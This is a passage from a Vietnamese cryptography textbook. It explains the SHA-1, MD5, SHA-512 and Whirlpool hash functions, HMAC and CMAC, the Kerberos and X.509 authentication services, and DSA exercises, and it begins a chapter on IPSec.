160 bit. Các kết quả nghiên cứu 2005 về an toàn của SHA-1 đề xuất sử dụng nó trong
tương lai.

Sau đây ta mô tả chi tiết thuật toán SHA-1 và MD5:

Thuật toán SHA-1

Mô tả thụât toán
Đầu vào của thuật toán là một thông điệp có chiều dài bất kỳ nhỏ hơn 264 bit, SHA-1 cho
ra kết quả là một thông điệp rút gọn có độ dài là 160 bit
Mở rộng thông điệp:
f(t;B,C,D) được định nghĩa như sau.
 - 98 -
f(t;B,C,D) = (B AND C) OR ((NOT B) AND D) (0≤t≤19)
f(t;B,C,D) = B XOR C XOR D (20≤t≤39)
f(t;B,C,D) = (B AND C) OR (B AND D) OR (C AND D) (40≤t≤59)
f(t;B,C,D) = B XOR C XOR D (60≤t≤79).
Thông điệp M được mở rộng trước khi thực hiện băm. Mục đích của việc mở rộng này là
để đảm bảo cho thông điệp mở rộng có độ dài là bội số của 512.
Giả sử độ dài của thông điệp là l bit. Thêm bit 1 vào cuối thông điệp, theo sau là k bit 0
(k là số dương không âm nhỏ nhất sao cho l+1+k=448 (mod512)) . Sau đó thêm khối 64
bit là biểu diễn nhị phân của l.
Phân tích thông điệp mở rộng:
Sau khi thông điệp đã được mở rộng, thông điệp mở rộng được phân tích thành N khối
512 bit M(1),M(2),…,M(N). Trong đó 512 bit của khối dữ liệu đầu vào có thể được thể
hiện bằng 16 từ 32 bit,
Khởi tạo giá trị băm:
Giá trị băm là một chuỗi bit có kích thước bằng kích thước của thông điệp băm (trừ SHA-
384) gồm các từ ghép lại. Trong đó Hj(i) là từ j trong giá trị băm ở lần lặp i với 0≤i≤N (số
block có được sau khi chia văn bản được đệm) và 0≤j≤(số từ trong giá trị băm -1).Trước
khi thực hiện giá trị băm, với mỗi thuật toán băm an toàn, giá trị băm ban đầu H(0) phải
được thiết lập. Kích thước và số lượng từ trong H(0) tuỳ thuộc vào kích thước thông điệp
rút gọn.
SHA-1 sử dụng dãy các hằng số K(0),…K(79) có giá trị như sau:
K(t) = 5A827999 ( 0 <= t <= 19)
K(t) = 6ED9EBA1 (20 <= t <= 39)
K(t) = 8F1BBCDC (40 <= t <= 59)
K(t) = CA62C1D6 (60 <= t <= 79).
Thuật toán của bứơc tính giá trị băm SHA-1
SHA-1 được sử dụng để băm thông điệp M có độ dài l bit thoả mãn điều kiện 0≤l≤2 64 .
Thuật toán sử dụng:
- Một bảng phân bố thông điệp gồm 80 từ 32 bit
- 5 biến 32 bit
- Một giá trị băm gồm 5 từ 32 bit
Kết quả của SHA-1 là một thông điệp rút gọn có độ dài 160 bit. Các từ của bảng phân bố
thông điệp được ký hiệu W(0),W(1),…,W(79). 5 biến được ký hiệu là a,b,c,d,e. Các từ
của giá trị băm ký hiệu H0(i),H1(i), H2(i), H3(i),H4(i). H(0) giữ giá trị băm ban đầu và được
thay thế bằng các giá trị băm thành công.H(i) sau mỗi khối thông điệp được xử lý và kết
thúc bằng giá trị băm cuối cùng H(N).
Tính toán thông điệp băm
Định nghĩa: S^n(X)=(X<<n) or (X>>32-n).
X<<n có nghĩa là loại bỏ từ trái sang phải n bit và thêm vào kết quả n số 0 vào bên phải.
X>> có nghĩa là loại bỏ từ phải qua trái n bit và thêm vào kết quả n số 0 vào bên trái.
Khởi tạo H
H0 = 67452301 ; H1 = EFCDAB89
H2 = 98BADCFE ; H3 = 10325476
H4 = C3D2E1F0.
Chia M(i) thành 16 từ W(0), W(1),…,W(15)
For t = 16 to 79
 - 99 -
- W(t) = S^1(W(t-3) XOR W(t-8) XOR W(t-14) XOR W(t-16)).
- Đặt a=H0 , b=H1,c=H2,d=H3,e=H4
For t = 0 to 79 do
- TEMP = S^5(A) + f(t;B,C,D) + E + W(t) + K(t);
- e = d; d = c; c = S^30(b); b = a; a = TEMP;
- Đặt H0 = H0 + a,H1 = H1 + b,H2 = H2 + c,H3 = H3 + d,H4 = H4+ e.
Sau khi tính toán được hết M(n), thông điệp rút gọn là một chuỗi 160 bit là biểu diễn của
5 từ: H0 H1 H2 H3 H4
Đánh giá thuật toán
- SHA-1 được xem là an toàn đối với hiện tượng đụng độ vì rất khó tìm được hai
thông điệp khác nhau có giá trị băm giống nhau
- SHA-1 được coi là chuẩn của việc bảo vệ các kênh liên lạc trực tuyến tồn tại trong
9 năm qua.
- SHA-1 được thiết kế cho bộ xử lý 32 bit, thế hệ sắp tới của máy tính dùng các bộ
xử lý 64 bit mà SHA-1 không hiệu quả trên bộ xử lý này.
- Tháng 2 năm 2005 SHA-1 bị tấn công bời 3 chuyên gia người Trung Quốc. Thuật
toán này đã bị giải mã thông qua phương pháp tính phân bổ.

Thuật toán MD5

Mô tả thuật toán
Thuật toán có đầu vào là một thông điệp có độ dài tuỳ ý và có đầu ra là một chuỗi có độ
dài cố định là 128 bit. Thuật toán được thiết kế để chạy trên các máy tính 32 bit.
Thuật toán:
Thông điệp đầu vào có độ dài b bit bất kỳ. Biểu diễn các bit dưới dạng như sau: m[0]
m[1] m[2] ... m[b-1]
Bước1: Các bit gắn thêm : Thông điệp được mở rộng, thêm bit vào phía sau sao cho độ
dài của nó (bit) đồng dư với 448 theo môđun 512. Nghĩa là thông điệp được mở rộng sao
cho nó còn thiếu 64 bit nữa thì sẽ có một độ dài chia hết cho 512. Việc thêm bit này được
thực hiện như sau: một bit ‘1’ được thêm vào sau thông điệp, sau đó các bit ‘0’ được
thêm vào để có một độ dài đồng dư với 448 môđun 512.
Bước 2: Gắn thêm độ dài: Dạng biểu diễn 64 bit độ dài b của chuỗi ban đầu được thêm
vào phía sau kết quả của bước 1.
Bước 3: Khởi tạo bộ đệm MD: Một bộ đệm 4 từ (A,B,C,D) được dùng để tính mã số
thông điệp. Ở đây mỗi A,B,C,D là một thanh ghi 32 bit. Những thanh ghi này được khởi
tạo theo những giá trị hex sau :
A=0x01234567
B=0x89abcdef
C=0xfedcba98
D=0x76543210
Bước 4 :Xử lý thông điệp theo từng khối 16 từ. Định nghĩa các hàm phụ, các hàm này
nhận giá trị đầu vào là 3 từ 32 bit và tạo tạo ra một word 32 bit.
F(X,Y,Z) = XY v not(X) Z
G(X,Y,Z)= XZ v Y not(Z)
H(X,Y,Z) = X xor Y xor Z
I(X,Y,Z) = Y xor (X v not(Z))
 - 100 -
Bước này sử dụng một bảng 64 giá trị T[1 .. 64] được tạo ra từ hàm sin. Gọi T là phần tử
thứ i của bảng, thì T là phần nguyên của 4294967296*|sin(i)| , i được tính theo radian.
Thuật toán
/* Xử lý với mỗi khối 16 bit từ */
For i = 0 to N/16-1 do
/* Sao khối i vào X. */
For j = 0 to 15 do
Set X[j] to M[i*16+j].
end
AA = A
BB = B
CC = C
DD = D
/* Vòng 1: Ký hiệu [abcd k s i] là thao tác sau
a = b + ((a + F(b,c,d) + X[k] + T[i]) <<< s). */
/* Làm 16 thao tác sau đây*/
[ABCD 0 7 1] [DABC 1 12 2] [CDAB 2 17 3] [BCDA 3 22 4]
[ABCD 4 7 5] [DABC 5 12 6] [CDAB 6 17 7] [BCDA 7 22 8]
[ABCD 8 7 9] [DABC 9 12 10] [CDAB 10 17 11] [BCDA 11 22 12]
[ABCD 12 7 13] [DABC 13 12 14] [CDAB 14 17 15] [BCDA 15 22 16]
/* Vòng 2: Ký hiệu [abcd k s i] là thao tác sau đây
a = b + ((a + G(b,c,d) + X[k] + T[i]) <<< s). */
/* Làm 16 thao tác sau đây*/
[ABCD 1 5 17] [DABC 6 9 18] [CDAB 11 14 19] [BCDA 0 20 20]
[ABCD 5 5 21] [DABC 10 9 22] [CDAB 15 14 23] [BCDA 4 20 24]
[ABCD 9 5 25] [DABC 14 9 26] [CDAB 3 14 27] [BCDA 8 20 28]
[ABCD 13 5 29] [DABC 2 9 30] [CDAB 7 14 31] [BCDA 12 20 32]
/* Vòng 3: Ký hiệu [abcd k s t] là thao tác sau đây
a = b + ((a + H(b,c,d) + X[k] + T[i]) <<< s). */
/* Làm 16 thao tác sau đây*/
[ABCD 5 4 33] [DABC 8 11 34] [CDAB 11 16 35] [BCDA 14 23 36]
[ABCD 1 4 37] [DABC 4 11 38] [CDAB 7 16 39] [BCDA 10 23 40]
[ABCD 13 4 41] [DABC 0 11 42] [CDAB 3 16 43] [BCDA 6 23 44]
[ABCD 9 4 45] [DABC 12 11 46] [CDAB 15 16 47] [BCDA 2 23 48]
/* Vòng 4: Ký hiệu [abcd k s t] là thao tác sau đây
a = b + ((a + I(b,c,d) + X[k] + T[i]) <<< s). */
/* Làm 16 thao tác sau đây*/
[ABCD 0 6 49] [DABC 7 10 50] [CDAB 14 15 51] [BCDA 5 21 52]
[ABCD 12 6 53] [DABC 3 10 54] [CDAB 10 15 55] [BCDA 1 21 56]
[ABCD 8 6 57] [DABC 15 10 58] [CDAB 6 15 59] [BCDA 13 21 60]
[ABCD 4 6 61] [DABC 11 10 62] [CDAB 2 15 63] [BCDA 9 21 64]
/* Tính */
A = A + AA
B = B + BB
C = C + CC
D = D + DD
 - 101 -
end /* Kêt thúc vòng lặp trên i*/
Bước 5: Thông điệp rút gọn = A||B||C||D.
Đánh giá thuật toán MD5
Về tốc độ sinh ra chuỗi cốt yếu thì MD5 chậm hơn so với MD4 nhưng nó lại an toàn hơn
rất nhiều so với MD4. Thuật toán số hóa thông điệp MD5 khá đơn giản để thực hiện,
cung cấp một giá trị băm của thông điệp với độ dài tuỳ ý. Người ta cho rằng độ khó để
tìm được 2 thông điệp có cùng giá trị băm là khoảng 2 64 bước tính, và độ khó để tìm được
một thông điệp với giá trị băm cho trước là 2 128 bước tính. Tuy nhiên lỗ hổng mới phát
hiện trong thuật toán MD5 sẽ cho phép kẻ tấn công có thể tạo ra file giả mạo trong vòng
vài giờ với loại máy tính đạt chuẩn.

Chuẩn Hash an toàn nâng cao

Viện chuẩn công nghệ quốc gia NIST xuất bản bản sửa FIPS 180-2 vào năm 2002, đề
nghị bổ sung 3 phiên bản mới của SHA: SHA-256, SHA-384, SHA-512. Các phiên
bản trên được thiết kế tương thích với việc tăng độ an toàn được cung cấp bởi chuẩn
mã nâng cao AES. Về cấu trúc và chi tiết giống SHA-1, suy ra việc phân tích cũng
tương tự, nhưng mức độ an toàn cao hơn nhiều so với SHA-1.

Tổng quan SHA 512

 - 102 -

Hàm nén SHA-512

SHA-512 là trọng tâm của thuật toán. Ở đây xử lý mẩu tin với các khối 1024 bit và
bao gồm 80 vòng
o cập nhật bộ đệm 512 bit
o Sử dụng giá trị Wt 64 bit được lấy ra từ block hiện tại của mẩu tin
o Và hằng số quay vòng dựa trên căn bậc ba của 80 số nguyên tố đầu tiên

Hàm quay vòng của SHA-512

 - 103 -

VI.3.3 Hàm Hash Whirlpool

Bây giờ xem xét hàm Hash Whirlpool, được tán thành bởi dự án NESSIE của châu
Âu. Ở đây sử dụng biến đổi bên trong của chuẩn mã nâng cao AES làm hàm nén và
hướng tới sử dụng mã khối như trước. Chất lượng thực hiện của Whirrlpool sánh
được với các thuật toán nổi tiếng như SHA.

Tổng quan Whirlpool được trình bày trên hình vẽ sau

Mã khối Whirlpool
Whirlpool được thiết kế riêng cho việc sử dụng hàm Hash với độ an toàn và hiệu quả
như chuẩn mã nâng cao AES, nhưng với kích thước khối 512 bit hash. Hàm và cấu
trúc tương tự như AES nhưng đầu vào được ánh xạ khéo léo vào 10 hàng và các đa
thức nguyên tố khác trên GF(28). Ở đây sử dụng giá trị và thiết kế S-box khác.

An toàn và chất lượng thực hiện của Whirlpool

 - 104 -
Whirlpool mới được đề xuất, nên có ít kinh nghiệm sử dụng. Tuy nhiên nó được xây
dựng dựa trên kỹ thuật của AES đã được dùng nhiều. Có thể Whirlpool cần nhiều
thiết bị phần cứng hơn SHA, nhưng chất lượng thực hiện sẽ tốt hơn.

VI.3.4 Hàm Hash có khoá giống như MAC

Khi đã có các hàm Hash tốt, chúng ta muốn có các mã xác thực mẩu tin MAC dựa
trên các hàm Hash đó. Vì hàm Hash thông thường nhanh hơn và mã nguồn của hàm
Hash được phổ biến rộng rãi hơn, nên việc sử dụng chúng tạo nên MAC sẽ hiệu quả
hơn. Ta có thể coi MAC là Hash bao gồm cả khoá với mẩu tin, cụ thể được đề xuất
như sau

KeyedHash = Hash (Key | Message)

Trong trường hợp này có một số điểm yếu đã được tìm thấy. Chính vì muốn khắc
phục các điểm yếu đó, một phương án kết hợp Hash để tạo nên MAC được phát triển
là HMAC.

VI.3.5 HMAC
HMAC được thiết kế theo chuẩn Internet RFC2104, sử dụng hàm Hash trên mẩu tin:
 - 105 -

HMACK = Hash [(K+ XOR opad) || Hash [(K+ XOR ipad) || M)]]

trong đó K+ là khoá đệm mở rộng của K và opad, ipad là các hằng bộ đệm đặc biệt, M
là mẩu tin. Như vậy cần tính nhiều hơn 3 hàm Hash so với nếu bản tin đứng một
mình. Bất cứ hàm Hash nào cũng có thể được sử dụng trong sơ đồ trên: MD5, SHA-
1, RIPEMD-160 hay Whirlpool.

Tổng quan HMAC

An toàn HMAC
Sự an toàn được chứng minh liên quan đến thuật toán Hash nền trong sơ đồ trên. Tấn
công HMAC yêu cầu phải hoặc:
o Tấn công vét cạn khoá đã sử dụng hoặc
o Tấn công ngày sinh nhật (tuy cần quan sát số lượng rất lớn mẩu tin)
Có thể lựa chọn phán đoán hàm Hash được sử dụng dựa trên tốc độ và các ràng buộc
an toàn.

VI.3.6 CMAC
Trước kia đã xét Thuật toán xác thực dữ liệu DAA (CBC-MAC), được sử dụng rộng
rãi trong các chính phủ và công nghiệp. Nhưng kích thước bản MAC có giới hạn nhỏ
 - 106 -
hơn hoặc bằng 64 bit. Có thể khắc phục nhược điểm trên bằng cách sử dụng 2 khoá
và bộ đệm như sau: phương pháp được viết tắt từ Mã xác thực mẩu tin dựa trên mã
(Cipher-based Message Authentication Code (CMAC) và được đề xuất bởi NIST
SP800-38B:

Tổng quan CMAC

VI.4 Các ứng dụng xác thực

Chúng ta sẽ xem xét các hàm xác thực được phát triển để hỗ trợ xác thực mức ứng dụng
và chữ ký điện tử. Đồng thời cũng xem xét dịch vụ xác thực dùng khoá riêng Kerrberros.
Và sau đó xét dịch vụ xác thực dùng khoá công khai X.509.

VI.4.1 Kerberos
Đây là mô hình Hệ thống khoá máy chủ tin cậy của MIT (Trường Đại học Kỹ thuật
Massachusetts) để cung cấp xác thực có bên thứ ba dùng khoá riêng và tập trung. Cho
phép người sử dụng truy cập vào các dịch vụ phân tán trong mạng. Tuy nhiên không cần
thiết phải tin cậy mọi máy trạm, thay vì đó chỉ cần tin cậy máy chủ xác thực trung tâm.
Đã có hai phiên bản đang sử dụng là: Kerberos 4 và Kerberos 5.
1. Các yêu cầu của Kerrberos
Báo cáo đầu tiên của: Kerberos nêu các yêu cầu sau
o An toàn
o Tin cậy
o Trong suốt
 - 107 -
o Có thể mở rộng
Ở đây cài đặt sử dụng thủ tục xác thực Needham-Schroeder.
2. Tổng quan Kerberos 4
Là sơ đồ xác thực dùng bên thứ ba cơ bản và có máy chủ xác thực (AS – Authentication
Server). Người dùng thỏa thuận với AS về danh tính của mình, AS cung cấp sự tin cậy
xác thực thông qua thẻ cấp thẻ TGT (Ticket Granting Ticket) và máy chủ cung cấp thẻ
(TGS – Ticket Granting Server). Người sử dụng thường xuyên yêu cầu TGS cho truy cập
đến các dịch vụ khác dựa trên thẻ cấp thẻ TGT của người sử dụng.
3. Trao đổi Kerberos 4
Người sử dụng nhận thẻ được cấp từ máy chủ xác thực AS, mỗi thẻ cho một phiên làm
việc và cũng nhận thẻ cấp dùng dịch vụ (service granting ticket) từ TGT. Mỗi thẻ dùng
cho một dịch vụ khác nhau được yêu cầu, thông qua việc trao đổi giữa máy chủ/trạm để
nhận được dịch vụ.
4. Các lãnh địa Kerberos
Môi trường Kerberos bao gồm: máy chủ Kerberos, một số máy trạm đã được đăng ký với
máy chủ, các máy chủ ứng dụng chia sẻ khoá với máy chủ. Một hệ thống như vậy được
gọi là một lãnh địa Kerberos. Thông thường là một miền hành chính duy nhất. Nếu có
nhiều lãnh địa, thì các máy chủ Kerberos cần phải chia sẻ khoá và tin cậy nhau.
5. Kerberos phiên bản 5
Kerberos 5 được phát triển vào giữa những năm 1990, được thiết kế theo chuẩn RFC
1510. Nó cung cấp những cải tiến so với phiên bản 4, cụ thể hướng tới các thiếu xót về
môi trường, thuật toán mã, thủ tục mạng thứ tự byte, thời gian sử dụng thẻ, truyền tiếp
xác thực, xác thực lãnh địa con. Và các sự khác biệt về kỹ thuật như: mã kép, các dạng sử
dụng không chuẩn, khoá phiên, chống tấn công mật khẩu.

Sau đây ta xem xét chi tiết mô hình Kerberos

Kerberos là một giao thức xác thực mạng, nó cho phép các cá nhân giao tiếp với nhau
trên một mạng không an toàn bằng cách xác thực người dùng này với người dùng khác
theo một cơ chế bảo mật và an toàn. Kerberos ngăn chặn việc nghe trộm thông tin cũng
như tấn công thay thế và đảm bảo tính toàn vẹn của dữ liệu. Kerberos hoạt động theo mô
hình máy trạm/máy chủ và nó thực hiện quá trình xác thực 2 chiều - cả người dùng và
dịch vụ xác thực lẫn nhau. Kerberos được xây dựng dựa trên mô hình mã hóa khóa đối
xứng và đòi hỏi một thành phần thứ ba tin cậy tham gia vào quá trình xác thực.
Mô tả giao thức
Kerberos sử dụng một đối tác tin cậy thứ ba để thực hiện quá trình chứng thực được gọi
là Trung tâm phân phối khóa bao gồm 2 phần riêng biệt: một máy chủ chứng thực (AS)
và một máy chủ cấp thẻ (TGS). Kerberos làm việc dựa trên các thẻ để thực hiện quá trình
chứng thực người dùng.
Kerberos duy trì một cơ sở dữ liệu chứa các khoá bí mật. Mỗi thực thể trên mạng (máy
trạm hoặc máy chủ) đều chia sẽ một khoá bí mật chỉ giữa bản thân nó với Kerberos. Để
thực hiện quá trình giao tiếp giữa 2 thực thể, Kerberos tạo ra một khoá phiên. Khóa này
dùng để bảo mật quá trình tương tác giữa các thực thể với nhau.
Hoạt động của Kerberos:
Quá trình hoạt động của giao thức (AS = Máy chủ xác thực, TGS = Máy chủ cấp
thẻ, C = Máy trạm, S = Dịch vụ):
1. Người dùng nhập vào tên truy cập và mật khẩu ở phía máy trạm.
 - 108 -
2. Máy trạm thực hiện thuật toán băm một chiều trên mật khẩu được nhập vào và nó
trở thành khoá bí mật của máy trạm.
3. Máy trạm gởi một thông điệp dưới dạng bản rõ đến AS để yêu cầu dịch vụ.
Không có khoá bí mật cũng như mật khẩu nào được gởi đến AS.
4. AS kiểm tra xem có tồn tại người dùng C trong cở sở dữ liệu của nó hay không.
Nếu có, nó gởi ngược lại cho máy trạm 2 thông điệp:
o Thông điệp A: chứa khoá phiên Máy trạm/TGS được mã hóa bởi khoá bí mật
của người dùng.
o Thông điệp B: chứa Thẻ (bao gồm ID của máy trạm, địa chỉ mạng của máy
trạm, kỳ hạn thẻ có giá trị và một khoá phiên máy trạm/TGS) được mã hóa sử
dụng khoá bí mật của TGS.
5. Khi máy trạm nhận được thông điệp A và B, nó giải mã thông điệp A để lấy khoá
phiên máy trạm/TGS. Khoá phiên này được sử dụng cho quá trình giao đổi tiếp
theo với TGS. Ở đây máy trạm không thể giải mã thông điệp B bởi vì nó được mã
hóa bởi khoá bí mật của TGS.
6. Khi yêu cầu dịch vụ (S), máy trạm gởi 2 thông điệp sau đến TGS:
o Thông điệp C: Gồm thông điệp B và ID của dịch vụ được yêu cầu
o Thông điệp D: chứa Authenticator (gồm ID máy trạm và nhãn thời gian
-timestamp) được mã hóa bởi khoá phiên Máy trạm/TGS.
2. Khi nhận được thông điệp C và D, TGS giải mã thông điệp D sử dụng khoá phiên
máy trạm/TGS và gởi 2 thông điệp ngược lại cho máy trạm:
o Thông điệp E: chứa thẻ (máy trạm đến máy chủ) (bao gồm ID máy trạm, địa
chỉ mạng của máy trạm, kỳ hạn thẻ có giá trị và một khoá phiên máy
trạm/dịch vụ) được mã hóa bởi khoá bí mật của dịch vụ.
o Thông điệp F: chứa khoá phiên của máy trạm/máy chủ được mã hóa bởi khoá
phiên máy trạm/TGS.
3. Khi nhận được thông điệp E và F, máy trạm sau đó gởi một Authenticator mới và
một thẻ (máy trạm đến máy chủ) đến máy chủ chứa dịch vụ được yêu cầu.
o Thông điệp G: chứa thẻ (máy trạm đến máy chủ) được mã hóa sử dụng khoá
bí mật của máy chủ.
o Thông điệp H: một Authenticator mới chứa ID máy trạm, Timestamp và được
mã hóa sử dụng khoá phiên máy trạm/máy chủ.
4. Sau đó, máy chủ giải mã thẻ sử dụng khoá bí mật của chính nó, và gởi một thông
điệp cho máy trạm để xác nhận tính hợp lệ thực sự của máy trạm và sự sẵn sàng
cung cấp dịch vụ cho máy trạm.
o Thông điệp I: chứa giá trị Timestamp trong Authenticator được gởi bởi máy
trạm sẽ được cộng thêm 1, được mã hóa bởi khoá phiên máy trạm/máy chủ.
5. Máy trạm sẽ giải mã sự xác nhận này sử dụng khóa chia sẽ giữa nó với máy chủ,
và kiểm tra xem giá trị timestamp có được cập nhật đúng hay không. Nếu đúng,
máy trạm có thể tin tưởng máy chủ và bắt đầu đưa ra các yêu cầu dịch vụ gởi đến
máy chủ.
6. Máy chủ cung cấp dịch vụ được yêu cầu đến máy trạm.
Hạn chế của Kerberos
Kerberos thích hợp cho việc cung cấp các dịch vụ xác thực, phân quyền và bảo đảm tính
mật của thông tin trao đổi trong phạm vi một mạng hay một tập hợp nhỏ các mạng. Tuy
nhiên, nó không thật thích hợp cho một số chức năng khác, chẳng hạn như ký điện tử
 - 109 -
(yêu cầu đáp ứng cả hai nhu cầu xác thực và bảo đảm không chối cãi được). Một trong
những giả thiết quan trọng của giao thức Kerberos là các máy chủ trên mạng cần phải tin
cậy được. Ngoài ra, nếu người dùng chọn những mật khẩu dễ đoán thì hệ thống dễ bị mất
an toàn trước kiểu tấn công từ điển, tức là kẻ tấn công sẽ sử dụng phương thức đơn giản
là thử nhiều mật khẩu khác nhau cho đến khi tìm được giá trị đúng.
Do hệ thống hoàn toàn dựa trên mật khẩu để xác thực người dùng, nếu bản thân các mật
khẩu bị đánh cắp thì khả năng tấn công hệ thống là không có giới hạn. Điều này dẫn đến
một yêu cầu rất căn bản là Trung tâm phân phối khóa cần được bảo vệ nghiêm ngặt. Nếu
không thì toàn bộ hệ thống sẽ trở nên mất an toàn.
Toàn vẹn dữ liệu
Đối với mỗi hệ bảo mật toàn vẹn dữ liệu là một yêu cầu không thể thiếu, để đảm bảo tính
toàn vẹn dữ liệu thực sự, các thuật mã hoá như mã hoá băm, mã xác nhận thông điệp
(MAC) và chữ ký điện tử có thể cùng được triển khai đồng loạt. Về cơ bản, những biện
pháp này sử dụng các hàm một chiều, nghĩa là dữ liệu không thể bị giải mã ngay cả khi
đã biết khoá để mã hoá nó.

VI.4.2 Dịch vụ xác thực X.509

Dịch vụ xác thực X.509 là một phần của chuẩn dịch vụ thư mục CCITT X.500. Ở đây các
máy chủ phân tán bảo trì cơ sở dữ liệu thông tin của người sử dụng và xác định khung
cho các dịch vụ xác thực. Thư mục chứa các chứng nhận khoá công khai, khoá công khai
của người sử dụng được ký bởi chủ quyền chứng nhận. Để thống nhất dịch vụ cũng xác
định các thủ tục xác thực, sử dụng mã khoá công khai và chữ ký điện tử. Tuy thuật toán
không chuẩn nhưng được RSA đề xuất. Các chứng nhận X.509 được sử dụng rộng rãi.
1. Các chứng nhận X.509
Được phát hành bởi Chủ quyền chứng nhận (Certification Authority – CA) bao gồm:
o Các phiên bản 1,2 hoặc 3
o Số sổ (duy nhất với CA) xác định chứng nhận
o Thuật toán xác định chữ ký
o Xuất bản tên X.500 (CA)
o Chu kỳ hiệu lực (từ-đến ngày)
o Đối tượng của tên X.500 (tên của người sở hữu)
o Đối tượng thông tin khoá công khai (thuật toán, các tham số,khoá)
o Định danh duy nhất xuất bản (phiên bản 2+)
o Định danh duy nhất đối tượng (phiên bản 2+)
o Các trường mở rộng (phiên bản 3)
o Chữ ký (hoặc hash của các trường trong chứng nhận)
Ký hiệu CA<<A>> là chứng nhận cho A được ký bởi CA
2. Nhận chứng nhận
Người sử dụng bất kỳ có thể trao đổi với CA để nhận được chứng nhận. Chỉ CA có thể
sửa chứng nhận. Vì không thể bị giả mạo nên chứng nhận có thể được đặt trong thư mục
công cộng.
3. Sơ đồ phân cấp CA
Nếu cả hai người sử dụng chia sẻ chung CA thì họ được giả thiết là biết khoá công khai
của CA đó. Ngược lại các CA cần tạo nên sơ đồ phân cấp để trao đổi chứng nhận với
nhau. Sử dụng chứng nhận liên kết các thành viên của sơ đồ để có được chứng nhận của
các CA khác. Mỗi CA có thể gửi tiếp (forward) các chứng nhận của mình cho clients và
 - 110 -
có thể gửi lại (backward) chứng nhận của mình cho cha của nó. Mỗi client tin tưởng các
chứng nhận của cha. Có thể kiểm chứng chứng nhận bất kỳ của một CA cho người sử
dụng bằng các CA khác trong sơ đồ phân cấp.
4. Sự thu hồi chứng nhận
Giấy chứng nhận có chu kỳ sử dụng, có thể thu hồi trước thời hạn trong những trường
hợp cần thiết như: khoá riêng của người sử dụng bị lộ, người dùng không tiếp tục được
chứng nhận bởi CA đó, Giấy chứng nhận của CA bị làm hại. Nói chung CA bảo trì danh
sách các chứng nhận bị thu hôì (CRL – Certificate Revocation List). Người sử dụng có
thể kiểm tra lại các chứng nhận đã bị thu hồi.
5. Các thủ tục xác thực
X.509 bao gồm ba thủ tục xác thực tùy chọn: xác thực một chiều, xác thực hai chiều và
xác thực ba chiều. Mọi thủ tục trên đều sử dụng các chữ ký khoá công khai.
Xác thực một chiều
Một chiều A->B được sử dụng để thiết lập
o Danh tính của A và rằng mẩu tin là từ A
o Mẩu tin được gửi cho B
o Tính toàn vẹn và gốc gác của mẩu tin
Mẩu tin có thể bao gồm cả nhãn thời gian, ký hiệu đặc trưng của mẩu tin (nonce), danh
tính của B và nó được ký bởi A. Có thể bao gồm một số thông tin bổ sung cho B như
khoá phiên.
Xác thực hai chiều
Hai mẩu tin A->B và B->A được thiết lập, ngoài mẩu tin từ A đến B như trên còn có:
o Danh tính của B và trả lời từ B
o Trả lời này dành cho A
o Tính toàn vẹn và gốc gác của trả lời
Trả lời bao gồm cả ký hiệu đặc trưng của mẩu tin (nonce) từ A, cả nhãn thời gian và ký
hiệu đặc trưng trả lời từ B. Có thể bao gồm một số thông tin bổ sung cho A.
Xác thực ba chiều
Ba mẩu tin A->B, B->A và A->B được thiết lập như trên mà không có đồng hồ đồng bộ.
Ngoài 2 chiều như trên còn có trả lời lại từ A đến B chứa bản sao nonce của trả lời từ B,
nghĩa là các nhãn thời gian mà không cần kiểm tra.
X.509 phiên bản 3
Trong phiên bản 3 được bổ sung một số thông tin cần thiết trong giấy chứng nhận như:
Email/URL, chi tiết về đợt phát hành, các ràng buộc sử dụng. Tốt hơn hết là đặt tên tường
minh cho các cột mới xác định trong phương pháp mở rộng tổng quát. Các mở rộng bao
gồm:
o Danh tính mở rộng
o Chỉ dẫn tính quan trọng
o Giá trị mở rộng
Các mở rộng xác thực
Khoá và các thông tin đợt phát hành
o Bao trùm thông tin về đối tượng, khoá người phát hành, chỉ thị kiểu phát
hành, chứng nhận
Đối tượng chứng nhận và các thuộc tính người phát hành
o Hỗ trợ có tên phụ, định dạng phụ cho các đối tượng và người phát hành
Chứng nhận các ràng buộc phát hành
 - 111 -
o Cho phép sử dụng các ràng buộc trong chứng nhận bởi các CA khác

Bài tập

1. Chữ ký điện tử DSA:

• Cho p = 23, q = 11, h=3
• Tính g
• NSA A chọn khoá riêng xA = 7, tính khoá công khai của yA của A
• Cho bản Hash của M là H(M) = 15
• Chọn số ngẫu nhiên k = 6
• Tính chữ ký điện tử của A: (r, s)
• Nêu cách người nhận kiểm chứng chữ ký điện tử của A trên bản tin M.

2. Chữ ký điện tử DSA:

• Cho p = 53, q = 13, h=5
• Tính g
• NSA A chọn khoá riêng xA = 11, tính khoá công khai của yA của A
• Cho bản Hash của M là H(M) = 17
• Chọn số ngẫu nhiên k = 9
• Tính chữ ký điện tử của A: (r, s)
• Nêu cách người nhận kiểm chứng chữ ký điện tử của A trên bản tin M.

3. Hãy cho biết các phương pháp phân phối khoá công khai. Và các cách trao đổi
công khai khoá mật giữa hai người sử dụng
4. Nêu sự khác biệt giữa MAC và Hash và nêu tác dụng của chúng. Cho một số ví
dụ về các hàm MAC và Hash.
5. Cho biết HMAC là gì, sử dụng chúng vào mục đích nào.
6. Nêu một số cách tạo và kiểm chứng chữ ký điện tử
7. Chứng minh “Nghịch lý Ngày sinh nhật”, tức là có ít nhất 23 người, thì xác
suất để có hai người trùng ngày sinh nhật sẽ lớn hơn hoặc bằng 0.5.
8. Các hàm số học và logic cơ bản nào dùng trong MD5?
9. Các hàm số học và logic cơ bản nào dùng trong SHA-1?
10. Các hàm số học và logic cơ bản nào dùng trong RIPEMD-160?
11. Trình bày hoạt động của các giao thức xác thực trên mô hình Kerberos.
12. Nêu nội dung dịch vụ xác thực X.509.
 - 112 -

CHƯƠNG 7:
AN TOÀN IP VÀ WEB

Trong chương này chúng ta sẽ xét đến cơ chế an toàn IPSec và một số giao thức bảo
mật lớp vận chuyển ứng dụng trên Web.

VII.1 An toàn IP
Có khá nhiều cơ chế an toàn ứng dụng chuyên biệt như: S/MIME, PGP, Kerberos,
SSL/HTTPS. Tuy nhiên có những cơ chế an toàn mà xuyên suốt nhiều tầng ứng dụng
như là cơ chế an toàn IP được cài đặt trên mạng cho mọi ứng dụng.

VII.1.1 IPSec
IPSec là cơ chế an toàn IP tổng quan. Nó cung cấp: xác thực, bảo mật và quản trị
khoá. IPSec được dùng trên mạng LAN, mạng WAN riêng và chung và trên cả mạng
Internet.
Lợi ích của IPSec
IPSec trên bức tường lửa/router cung cấp an toàn mạnh cho mọi việc truyền qua vành
đai. Nó chống lại việc đi vòng qua bức tường lửa/router.
